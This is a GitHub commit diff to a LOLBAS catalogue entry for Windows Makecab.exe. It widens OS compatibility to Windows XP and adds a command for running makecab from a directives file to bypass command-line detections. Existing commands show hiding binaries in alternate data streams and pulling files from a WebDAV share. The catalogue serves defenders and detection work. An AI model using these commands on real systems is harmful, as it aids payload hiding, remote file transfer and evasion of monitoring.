Makecab - LOLBAS command, more information about Windows compatibility (#389)

---------
Co-authored-by: Wietze <wietze@users.noreply.github.com>
This commit is contained in:
TAbdiukov 2024-08-18 07:16:07 +10:00 committed by GitHub
parent 5826e4d415
commit 5b12df2b93
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -1,7 +1,7 @@
--- ---
Name: Makecab.exe Name: Makecab.exe
Description: Binary to package existing files into a cabinet (.cab) file Description: Binary to package existing files into a cabinet (.cab) file
Author: 'Oddvar Moe' Author: Oddvar Moe
Created: 2018-05-25 Created: 2018-05-25
Commands: Commands:
- Command: makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab - Command: makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
@ -10,7 +10,7 @@ Commands:
Category: ADS Category: ADS
Privileges: User Privileges: User
MitreID: T1564.004 MitreID: T1564.004
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11 OperatingSystem: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Tags: Tags:
- Type: Compression - Type: Compression
- Command: makecab \\webdavserver\webdav\file.exe C:\Folder\file.txt:file.cab - Command: makecab \\webdavserver\webdav\file.exe C:\Folder\file.txt:file.cab
@ -19,7 +19,7 @@ Commands:
Category: ADS Category: ADS
Privileges: User Privileges: User
MitreID: T1564.004 MitreID: T1564.004
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11 OperatingSystem: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Tags: Tags:
- Type: Compression - Type: Compression
- Command: makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab - Command: makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab
@ -28,7 +28,16 @@ Commands:
Category: Download Category: Download
Privileges: User Privileges: User
MitreID: T1105 MitreID: T1105
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11 OperatingSystem: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Tags:
- Type: Compression
- Command: makecab /F directives.ddf
Description: Execute makecab commands as defined in the specified Diamond Definition File (.ddf); see resources for the format specification.
Usecase: Bypass command-line based detections
Category: Execute
Privileges: User
MitreID: T1036
OperatingSystem: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Tags: Tags:
- Type: Compression - Type: Compression
Full_Path: Full_Path:
@ -41,6 +50,9 @@ Detection:
- IOC: Makecab storing data into alternate data streams - IOC: Makecab storing data into alternate data streams
Resources: Resources:
- Link: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f - Link: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
- Link: https://ss64.com/nt/makecab-directives.html
- Link: https://www.pearsonhighered.com/assets/samplechapter/0/7/8/9/0789728583.pdf
- Link: https://learn.microsoft.com/en-us/previous-versions/bb417343(v=msdn.10)#makecab-application
Acknowledgement: Acknowledgement:
- Person: Oddvar Moe - Person: Oddvar Moe
Handle: '@oddvarmoe' Handle: '@oddvarmoe'